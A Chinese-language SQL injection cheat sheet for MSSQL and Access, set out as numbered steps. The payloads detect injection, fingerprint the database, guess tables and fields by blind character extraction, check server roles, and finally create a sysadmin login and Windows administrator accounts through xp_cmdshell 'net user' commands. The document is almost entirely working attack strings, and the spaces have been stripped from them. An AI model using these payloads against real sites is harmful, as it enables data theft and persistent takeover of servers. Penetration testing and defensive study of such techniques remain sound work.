1.判断是否有注入
;and1=1
;and1=2
2.初步判断是否是mssql
;anduser>0
3.注入参数是字符
'and[查询条件]and''='
4.搜索时没过滤参数的
'and[查询条件]and'%25'='
5.判断数据库系统
;and(selectcount(*)fromsysobjects)>0mssql
;and(selectcount(*)frommsysobjects)>0access
6.猜数据库
;and(SelectCount(*)from[数据库名])>0
7.猜字段
;and(SelectCount(字段名)from数据库名)>0
8.猜字段中记录长度
;and(selecttop1len(字段名)from数据库名)>0
9.(1)猜字段的ascii值(access)
;and(selecttop1asc(mid(字段名,1,1))from数据库名)>0
(2)猜字段的ascii值(mssql)
;and(selecttop1unicode(substring(字段名,1,1))from数据库名)>0
10.测试权限结构(mssql)
;and1=(SelectIS_SRVROLEMEMBER('sysadmin'));--
;and1=(SelectIS_SRVROLEMEMBER('serveradmin'));--
;and1=(SelectIS_SRVROLEMEMBER('setupadmin'));--
;and1=(SelectIS_SRVROLEMEMBER('securityadmin'));--
;and1=(SelectIS_SRVROLEMEMBER('diskadmin'));--
;and1=(SelectIS_SRVROLEMEMBER('bulkadmin'));--
;and1=(SelectIS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
;execmaster.dbo.sp_addloginusername;--
;execmaster.dbo.sp_passwordnull,username,password;--
;execmaster.dbo.sp_addsrvrolemembersysadminusername;--
;execmaster.dbo.xp_cmdshell'netuserusernamepassword/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--
;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';--
;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';--